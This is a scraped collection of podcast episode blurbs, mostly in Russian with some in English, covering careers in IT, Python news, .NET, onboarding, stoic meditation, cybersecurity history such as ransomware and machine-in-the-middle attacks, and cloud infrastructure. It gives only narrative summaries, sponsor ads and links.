В этом эпизоде продакт-менеджер Аня Булдакова рассказывает, как устроена ее работа. Выясняем, каких кандидатов ищут в FAANG, как отличалась позиция продакта в Facebook и Яндекс и сколько зарабатывают эти специалисты. Реклама. Дока — дружелюбный опенсорсный справочник по веб-разработке: https://doka.guide/?utm_source=pr&utm_medium=podcast&utm_campaign=pr_podcast_zapusk-zavtra&utm_content=13oktober Рекомендации от Ани: Список полезных книг: https://nfng.pro/books/ Исследования Gartner по product management: https://www.gartner.com/en/product-management/research/all-research Книга «Inspired: How to create tech products customers love», автор Marty Cagan Книга «Web Scalability for Startup Engin…

Если вы программист, то скорее всего пользовались Stack Overflow для работы. Энтузиасты сайта уже ответили на миллионы прикладных вопросов, чтобы программисты не мучались с поиском решения по всему интернету. А ещё активным пользователям с прокачанными профилями постоянно пишут рекрутеры и предлагают работу. В этом эпизоде сотрудник компании Николай Чабановский рассказал Самату, как задавать хорошие вопросы и подняться в рейтинге на сайте, чтобы получить себе классную строчку в резюме. Реклама. Бесплатный курс по основам Go от Яндекс Практикума. Для тех, кто уже знаком с основами бэкенд-разработки: https://clck.ru/32CvGj Ссылки: Основной сайт Stack Overflow: https://stackoverflow.com/ Сайт …

В 2010 году энтузиасты из компании JetBrains решили сделать собственный язык программирования. Тысячи человек следили за его созданием и ждали релиза, а через 7 лет Google объявил Kotlin официальным языком для платформы Android. О том, как ребята прошли этот путь, в этом эпизоде рассказывает сам Андрей Бреслав — ex-руководитель Kotlin. Реклама. Попробовать бесплатную часть курсов по мобильной iOS и Android-разработке от Яндекс Практикума: https://clck.ru/32A8ef Подкаст «CTRL SHIFT!» от студии Либо/Либо: https://podcast.ru/1635964055 Ссылки из эпизода: Сайт языка: https://kotlinlang.org «Книга дракона»: Compilers: Principles, Techniques, and Tools. Alfred V. Aho, Monica S. Lam, Ravi Sethi, a…

«Запуск завтра» возвращается с восьмым сезоном! В первом эпизоде Самат разбирается в цифровом праве вместе с киберадвокатом Саркисом Дарбиняном. За что судят Tornado Cash? Нужно ли платить налоги на криптовалюту? Законно ли пользоваться VPN и Tor? Что делать, если у меня украли аккаунт в инстаграме? Задаем волнующие вопросы человеку, защищающему права пользователей в интернете. Реклама. Бесплатный курс по профориентации в программировании от Яндекс Практикума: https://clck.ru/323qTh Ссылки из эпизода: Мониторинг преследования граждан за онлайн-публикации: https://blackscreen.report Сайт Роскомсвободы: https://roskomsvoboda.org Сайт Digital Rights Center: https://drc.law Киберправовая школа:…

Новый выпуск посвятили актуальным новостям за январь 2023 года в мире Python. Ниже оставили ссылки на все материалы этого подкаста. фреймворк Robin - https://github.com/sansyrox/robyn PEP 703 по Python без GIL - https://peps.python.org/pep-0703/ релиз SQLAlchemy 2.0 - https://www.sqlalchemy.org/

PEP 701 по доработке f-строк - https://peps.python.org/pep-0701/ PEP 704 по обязательному виртуальному окружению - https://peps.python.org/pep-0704/ Malware в nightly-билдах - https://pytorch.org/blog/compromised-... Python 2.7 убрали из Debidian - https://bugs.debian.org/cgi-bin/bugre... топ Python библиотек 2022 - https://tryolabs.com/blog/2022/12/26/... Ведущие: Михаил Корнеев и Илья Лебедев Все …

В гостях у Moscow Python Podcast Иван Самсонов, продакт-менеджер в прикладных исследованиях ИИ во ВКонтакте. Обсудили в выпуске:

- отличается ли звездный разработчик от синьора

- хватит ли понимания бизнеса и умения коммуницировать, чтобы стать A-star

- когда нас заменит искусственный интеллект, и мы отдохнем

- куда приведет развитие языковых моделей

- что делать мидл python-разработчику с фиговым английским, чтобы его не заменили технологии

- ответы на вопросы из трансляции: что делать джуну с 3-летним опытом и фиговым английским, какой язык программирования умрет следующим Ведущие: Михаил Корнеев и Григорий Петров Все выпуски: https://podcast.python.ru

Митапы MoscowPython: https://moscowp…

В гостях у Moscow Python Podcast Георгий Могелашвили, Engineering Manager в Shopify и основатель GetMentor.dev. Обсудили в выпуске:

- разницу менталитетов в работе - как давать обратную связь - культуру разработки и роль Engineering Manager в Shopify - куда расти разработчику сегодня - разницу зарплат у менеджеров и контрибьютеров - как менеджеру растить разработчиков - как определить грейд и перейти на другой - отличия систем грейдов в компаниях - про GetMentor и зачем нужен ментор - конференции для профессионального роста

- ответы на вопросы из трансляции: возможно ли самостоятельно вырасти до сеньора, нужно ли менеджерам писать код, с чего начать поиски работы в зарубежной компании и про…

Привет, вот о чем поговорили Михаил Корнеев и Григорий Петров в последнем в этом году выпуске подкаста. - Новые форматы прямых эфиров и новостных выпусков в подкасте

- Планы на ускорение Python и эксперимент с выпиливанием gil - black вышел из беты

- Три штуки, которые надо добавить в Python

- 10 лет выступлениям Гриши о Python

- Что будет, если добавлять в язык новые инструменты, чтобы было красиво (и стоит ли их использовать?)

- Ушла эпоха, из MacOS выпилили Python 2.7

- Что так и не так с JetBrains Developers Survey

- Релиз Python 3.11 - Copilot и как мы справлялись без него 20 лет назад

- Ответили на вопросы из трансляции: про фреймворк Masonite и какие фреймворки взлетят в 2023, про пе…

Григорий Петров, Михаил Корнеев и Илья Лебедев в новом формате Moscow Python Podcast. 00:00 — у нас новый постоянный ведущий

01:35 — есть ли вообще люди, которые легко и быстро сориентируются в чужом древнем коде

02:55 — что усложняет понимание чужого кода на новой работе

03:57 — с чего начать

06:20 — "третий кит, на котором стоит разработка - инфра", или какие неприятные открытия вас ждут

09:10 — что делать, если ты не джун

13:04 — "первые полгода вы будете беситься" (или нет?)

17:05 — два вопроса, которые стоит задать на собеседовании и обговорить сразу

22:25 — что делать, если сразу хочешь менять процессы разработки

23:58 — пошаговая инструкция по работе с неизвестным проектом

27:55 — хо…

В гостях у Moscow Python Podcast Python разработчик Юрий Бородич.. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast HRD компании Altenar Екатерина Фирсова. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast руководитель разработки Data Science компании Avito Олег Бугримов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast VP of Engineering Константин Волков. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast Руководитель разработки компании IVA Technologies Александр Ковалев. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

В гостях у Moscow Python Podcast Lead of HR Community Skolkovo Алиса Цапкова. Обсудили с Алисой зачем нужны хакатоны, советы и лайфхаки участникам хакатонов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Skolkovo Hack 2022: https://codenrock.com/contests/skolkovo-hack-2022 Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за руб…

В гостях у Moscow Python Podcast Python Senior DevOps компании CLS Global Игорь Перепелицын. Обсудили с Игорем его путь в разработке, GitOps и как деплоиться без Kubernetes. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

В гостях у Moscow Python Podcast Python Team Lead компании Райффайзенбанк Денис Аникин. Обсудили с Денисом какие способы деплоя Python приложения в прод сейчас есть. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geek…

В гостях у Moscow Python Podcast Python CTO проекта Speechki Павел Мальцев. Поговорили с Павлом о том, как и когда использовать Redis, какие там есть структуры данных и когда они будут полезны. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж…

В гостях у Moscow Python Podcast Python ML и DataOps lead компании Gett Семён Осипов. Поговорили с Семёном о его пути в разработке и что такое ML и DataOps и зачем он нужен. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

Продолжаем погружение в .NET вместе Игорем Лабутиным! В прошлом выпуске мы составили общее представление о платформе, чтобы теперь подробно обсудить все важные особенности. Почему .NET именно такой: какой философии придерживаются создатели платформы? С какими инструментами ежедневно работают .NET разработчики и довольны ли они ими? Правда ли, что .NET нужен только для разработки под Windows, или же его ниша куда шире и разнообразнее? И, наконец, почему на C# писать так приятно? Ответы в выпуске! Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/po…

Исполняем новогодние обещания: нас просили выпуск про .NET – мы его сделали! Тема большая и очень интересная, поэтому хоть мы и успели обсудить очень многое, немало осталось за бортом. Поэтому представляем вашему вниманию первую часть выпуска! Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Катя Петрова Полезные ссылки: Сообщества DotNet.Ru

https://dotnet.ru/ Подкаст RadioDotNet

https://radio.dotn…

Все мы слышали истории плохого онбординга новичков в компанию: начиная c того, что в течение месяца сотруднику не выдавали ноутбук, заканчивая тем, что первые недели работы целиком состояли из буллшитных встреч про ценности и миссию. Вместе с Евгением Антоновым, опытным тимлидом и консультантом, мы разобрались с принципами хорошего онбординга и тем, как можно построить простой и качественный процесс в вашей собственной команде. Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в …

В гости позвали руководителя службы Яндекс Почты Александра Мироночева. Начали с любопытных историй как почта начиналась. Если что, email старше веба и Интернета. В основной части поговорили про существующие протоколы и схему взаимодействия узлов во время отправки письма. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Евгений Кателла Список выпусков для того, чтобы линковать на сайте:

Разработка …

300 юбилейный выпуск подкаста выпал на заключительный выпуск уходящего 2022 года. Чтобы отметить это дело, мы позвали в гости людей, сделавших огромный вклад в Подлодку. Рекордсмены по участию в выпусках: Виталий Брагилевский и Павел Комаровский, а также ex-ведущий Глеб Новик пришли к нам в гости и поучаствовали в кейсовом турнире! А также мы провели викторину со слушателями, на которой произошло настоящее новогоднее чудо: два слушателя поделили первое и второе место и оба получили по Steam Deck. Посмотреть полностью этот веселый и неформальный выпуск вы можете на YouTube: https://www.youtube.com/watch?v=154IhLgBvD8 А в аудио-версии Егор, Стас, Катя и Женя делятся с вами рекомендациями выпу…

Задач всегда много, а рук, чтобы их делать, всегда не хватает. Вместе с Аней Подображных, продакт-менеджером из Авито, мы поговорили о различных подходах к приоритизации задач, как на уровне стратегических инициатив всей компании, так и на уровне выбора задач для следующего спринта. Если хотите разобраться, как сравнивать задачи друг с другом – этот выпуск точно для вас! «Ясно» — сервис онлайн-консультаций с психологом. Скидка 20% на первую сессию по промокоду PODLODKA при регистрации: https://app.yasno.live/vWlQ/podlodka Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Tele…

Выпуск получился как чайная церемония – не быстрый и обстоятельный. В гости позвали Сергея Шевелева – специалиста по чаю. Затронули историю чайной культуры, вопрос влияния чая на здоровье, а самое главное – как это, пить чай проливами. После выпуска вы скорее всего побежите покупать гайвань и больше никогда не закажете чай в металлическом чайнике. ​​«Золотое Яблоко» - №1 по выручке среди бьюти e-commerce России. А у приложения более 14 млн скачиваний. Ищут системных аналитиков и администраторов, менеджеров проектов, разработчиков .Net, React и BI, а также UX\UI-дизайнеров, Product Owner и Senior web-аналитиков. Резюме присылайте на [email protected] Поддержи лучший подкаст про IT:

www.pat…

Думаю, многие слышали такие понятия, как SOLID, Clean Architecture, “слоистая модель” и другие, без которых не обходится ни один спор об архитектуре. Но все эти термины родились в процессе эволюции объектно-ориентированных подходов. Что это время происходит с архитектурой в функциональном мире, разбираемся с Александром Граниным. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Стас Цыганов Полезны…

У ИТ комьюнити сложилось устойчивое негативное отношение к 1С. "Софт для бухгалтеров, программирование на русском, древние подходы к разработке, и вообще это не настоящее программирование!" — выдержка из 99% обсуждений этой платформы. Но зачастую устоявшиеся взгляды могут не отражать реальную картину дел. Вместе с представителем open-source community 1С Андреем Овсянкиным разбираемся, что правда, а что — устаревшие стереотипы. С какими инструментами работают современные разработчики 1С и какая них любимая IDE? Какого это - программировать на русском, и можно ли иначе Применимы ли DevOps практики к разработке на 1С? Разрушаем десятки мифов в этом выпуске! Поддержи лучший подкаст про IT:

www.…

Каждая ваша транзакция в любом банке тщательно анализируется на предмет того, не пытаетесь ли вы с ее помощью отмыть деньги или профинансировать терроризм. Про то, по каким правилам работают эти системы, и как они реализованы, говорить обычно не принято. Наш гость Михаил, который много лет работает и в российском, и в зарубежном финтехе, рассказал нам про то, как регулируются финансовые операции, как реализованы compliance-системы, и про то, как банки выполняют возложенную на них роль финансовых полицейских. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: ht…

А что если в больших компаниях действительно слишком много команд и разработчиков? В гости позвали сертифицированного Scrum-тренера и автора книги Creating Agile Organizations Илью Павличенко и разобрались на чем компании теряют при масштабировании, и как можно было бы этих потерь избежать. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Егор Толстой Полезные ссылки: Creating Agile Organizations: …

Множество замечательных идей не увидели свет, потому что авторы не смогли привлекательно их презентовать! Чтобы с вами этого не случилось, мы поговорили о том, как правильно «продавать» свои задумки, а помог нам с этим Артём Гусев, основатель Бюро Глагол. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Катя Петрова Полезные ссылки: Бюро Глагол

https://glagol.me Ссылка на фреймворк

https://drive.go…

В эфире ваша любимая рубрика: «как устроены сложные штуки» 🤓. Мы уже не раз затрагивали тему голосовых ассистентов и их тестирования. Настало время фундаментальных вопросов — в этом выпуске разбираемся, как работают системы распознавания речи! Иван Бондаренко, старший преподаватель и научный сотрудник НГУ, рассказал из каких компонентов устроены типичные архитектуры таких систем, принцип их работы, и как системы эволюционируют, все больше полагаясь на нейронные сети. Не обошли стороной и практику и обсудили, как самому реализовать распознавание речи из open-source решений. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах …

На продуктивность можно смотреть по-разному – через призму количества закрытых задач, достигнутых результатов, собственного wellbeing. В этом выпуске мы с Кириллом Мокевниным обсуждаем продуктивность владения инструментами разработки, достижение которой позволит вам увереннее входить в состояние потока и дольше в нем оставаться. Слепая печать, горячие клавиши, терминал, Vim и куча других способов оптимизировать свою рутину. «Золотое Яблоко» - №1 по выручке среди бьюти e-commerce России. А у приложения более 14 млн скачиваний. Ищем аналитиков 1С, системных аналитиков и администраторов, инженеров по тестированию, ведущих разработчиков BI, UX\UI дизайнеров и контент-менеджеров. Резюме присылай…

Разговор с Анной Ковалёвой для Reforum.Support the show

Про новую нобелевскую премию по физике рассказывает Василий Севрюк — квантовый инженер IQM Quantum Computers.https://www.meetiqm.com/Support the show

Писатель и психолог из Японии написали книгу-диалог о том, что такое индивидуальная психология. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

Книга Уильяма Ирвайна о том, чему современный человек может научиться у философов Греции и Рима. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

Как Виктор Франкл попал в концлагерь и написал одну из главных работ по психологии второй половины двадцатого века.Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

Это тринадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это двенадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это одиннадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это десятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это девятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это восьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это седьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это шестая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это пятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Это четвёртая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Our show is all about heroes making great strides in technology. But in InfoSec, not every hero expects to ride off into the sunset. In our series finale, we tackle vulnerability scans, how sharing information can be a powerful tool against cyber crime, and why it’s more important than ever for cybersecurity to have more people, more eyes, and more voices, in the fight.Wietse Venema gives us the story of SATAN, and how it didn’t destroy the world as expected. Maitreyi Sistla tells us how representation helps coders build things that work for everyone. And Mary Chaney shines a light on how hiring for a new generation can prepare us for a bold and brighter future.If you want to read up on som…

What began as a supposed accounting error landed Cliff Stoll in the midst of database intrusions, government organizations, and the beginnings of a newer threat—cyber-espionage. This led the eclectic astronomer-cum-systems administrator to create what we know today as intrusion detection. And it all began at a time when people didn’t understand the importance of cybersecurity. This is a story that many in the infosec community have already heard, but the lessons from Stoll’s journey are still relevant. Katie Hafner gives us the background on this unbelievable story. Richard Bejtlich outlines the “honey pot” that finally cracked open the international case. And Don Cavender discusses the imp…

It’s a strange situation when someone can hold something hostage from halfway around the world. It’s tragic when your own pictures and files are remotely encrypted. But when it’s a hospital’s system? Ransomware becomes a problem about life or death. Eddy Willems recounts his involvement in defeating an early ransomware attack that targeted AIDS researchers. At the time, there was a way to discover the encryption key. But as Moti Yung warned, asymmetric encryption would change everything. In the years since, ransomware attacks have become much more popular—thanks in part to the rise of cryptocurrencies. While criminals think it’s an anonymous way to collect payment, Sheila Warren tells us th…

All communication leaves the possibility for crossed wires. And as we become more connected, there’s a chance for those with ill intentions to steal our information and meddle in our daily lives—with devastating results. Smriti Bhatt breaks down the complexity behind machine-in-the-middle attacks. Johannes Ullrich tells us why we shouldn’t always trust that free WiFi. And the “father of SSL” Taher Elgamal notes that while cryptography can address the increasingly sophisticated nature of malware, there are no safe bets in security.If you want to read up on some of our research on machine in the middle attacks, you can check out all our bonus material over at redhat.com/commandlineheroes.Foll…

Data observability is the idea of creating a unified view of all the data so you can head off problems early, identify outages, and address any conflicts in real time. Today we’re interviewing Streamdal’s founders Ustin Zarubin and Dan Selans. They’re gonna share with us how they’re using an application monitoring approach to address the

The post Streamdal: Streaming Data Performance Monitoring with Ustin Zarubin and Dan Selans appeared first on Software Engineering Daily.

Let’s say you have a set of microservices running on a Kubernetes cluster. In the past, developers used to program features like service discovery, observability, who’s allowed to talk to whom and other security related features directly into the application code. This slowed down the dev cycle and it made these microservices bigger and just

The post Istio Ambient Mesh with Brian Gracely appeared first on Software Engineering Daily.

Kubernetes is an open-source platform for automating the deployment, scaling, and management of containerized applications. The company Komodor started as a Kubernetes diagnostics platform focusing on Kubernetes troubleshooting for the entire Kubernetes stack. More recently, Komodor is taking a step towards becoming a single-pane-of-glass to simplify Kubernetes for developers. In the past, they were more

The post Dev-First Kubernetes Operations Platform with Itiel Shwartz appeared first on Software Engineering Daily.

Permissions are Hard! And they are becoming harder as we move more into the Cloud-native ecosystem. If we go back in time to the point where it was just a single monolith that you were building on your own. You’ll probably have a framework to manage the permissions for you. But when you are working

The post Permit Elements and Fullstack Authorization with Or Weis appeared first on Software Engineering Daily.

Data catalogs are one way to address the tension between wanting to use all the data for business advantage and needing to govern all the data for compliance. Today, Zeashan Pappa, a Databricks Product Specialist for the Unity Catalog, joins us to discuss how catalogs can help companies capture the full value of their data.

The post Databricks Unity Catalog with Zeashan Pappa appeared first on Software Engineering Daily.

Webhooks are used in connecting two different online applications. Webhooks allow one program to send data to another as soon as a certain event takes place.And because they are event-driven, webhooks are ideal for things like real-time notifications and data updates. The company Hookdeck helps build webhook integrations at scale. In this episode, we talk

The post Webhooks at Scale with Alexandre Bouchard appeared first on Software Engineering Daily.

Twitter is a social media platform that does some incredibly complex stuff when it comes to distributed systems engineering to keep the website up and running. Twitter has open sourced a lot of projects for others to use. Twitter created a fork of Memcached called Twemcache and also a fork of Redis to handle the

The post Caching at Twitter with Yao Yue appeared first on Software Engineering Daily.

Java is a write once run anywhere programming language. The way you do that is you use the javac compiler and compile the source files down to the class files. Those class files can run on any system in interpreted mode. But those class files that are run in interpreted mode, they are not machine

The post Cloud Native Compiler with John Ceccarelli appeared first on Software Engineering Daily.

Although we like to think about ML workflows as straight-line narratives from experiment to training to production, and then finally monitoring; the reality for large companies is that all the steps are happening at one time in concert with other models, with shifting data, and, sometimes, misaligned key feature inputs. Moreover, regulated firms are required

The post MLOps Systems at Scale with Krishna Gade appeared first on Software Engineering Daily.

Mingsheng Hong, is CEO and co-founder (along with Zheng Shao) of Bluesky. He is a thought leader for machine learning and has built data infrastructure to support some of the world’s most challenging workloads. Most recently, Mingsheng was at Google, where he led teams to build storage and querying stacks that power Google’s $100 billion

The post Optimizing Cloud Data Platforms with Mingsheng Hong appeared first on Software Engineering Daily.

Show host: Jordi Mon Companys Guest: Dan Lorenc

The post Software Supply Chain with Dan Lorenc appeared first on Software Engineering Daily.

In this episode we talk with Varun Badhwar, Founder and CEO of Endor Labs. Show host: Sean Falconer

The post Open Source Software Lifecycle Management and Security with Varun Badhwar appeared first on Software Engineering Daily.

Show Host: Jordi Mon Companys Guest: Sam Alba Transcript

The post Pipelines as Code with Sam Alba appeared first on Software Engineering Daily.

As applications grow in size and complexity, and as they increasingly move to microservice architectures, it becomes harder for individual developers to perform end-to-end tests of an entire application stack. Connecting development services to production services is off limits. Test environments are limited to automated tests. Staging environments are woefully inadequate with the amount of

The post API Testing in Kubernetes with Matthew LeRay appeared first on Software Engineering Daily.

Show Host: Jordi Mon Companys Heather Meeker Scott Jenson Pablo Ruiz-Múzquiz Transcript

The post Open Source Design Collaboration appeared first on Software Engineering Daily.

В вашей компании команды разработки и управления продуктом тоже никак не могут договориться? В этом выпуске обсудим, как достичь дзена между лебедем и щукой: Технический директор «Дзена» Дима Кондрашкин

Директор по продукту «Дзена» Саша Колокольников А в роли рака был Андрей Аврамчук — ведущий подкаста. Онлайн прошёл 2 февраля 2023. 1:47 Взаимодействие между разработкой и продактом: критерии хорошего процесса и доверие как ключевое условие. 6:54 Как определить готовность MVP: подходы в разработке и продукте. 10:54 Что делать, если идея не взлетела. 14:24 Неудачи как полезный опыт. 15:27 Распределение ответственности между CTO и CPO. 19:03 Синхронизация работы через OKR и смена направлений в…

Когда-то на создание новых ML-продуктов уходили недели и месяцы, а теперь результат должен быть в течение пары дней. В этом выпуске Хабр ПРО мы обсудили, как создать свою MLOps-платформу. Про то, как идет эта работа в Мегафоне, нам рассказали: → Максим Кожевников, Head of Data Science

→ Артём Глазунов, Head of ML Platform and Analytical services и ведущий подкаста «Данные люди» https://t.me/bigdatapeople. Тайминги:

01:22 Идеальный пайплайн для ML-моделей

03:22 Главное звено внедрения MLOps

08:13 Секрет успеха своей платформы

11:51 Как определить, что нужна своя платформа

17:09 Вредные советы: как убить ML-модель

21:27 Как разные задачи ML меняют конфигурацию MLOps

24:48 Проблемы продуктивиз…

Давным-давно, на заре эпохи Хэйсэй, Масахиро Хара придумал QR-код — новый формат меток для отслеживания деталей на автомобильном конвейере. Технология оказалась удачной, и спустя 30 лет продолжает проникать в нашу повседневную жизнь. В этом выпуске Хабр ПРО мы обсудили, чем же так удобны QR-коды, какие функции они выполняют в платежных системах и куда могут развиться дальше. Наши гости: → Екатерина Аккузина, руководитель центра развития мобильных платежей, Мир Plat.Form → Игорь Тростников, директор по развитию продуктов СБП, Мир Plat.Form 01:20 Почему технология QR-кодов сейчас так популярна

05:03 Чем технология QR-кодов удобна пользователям

05:36 Как работают платежи с использованием QR-ко…

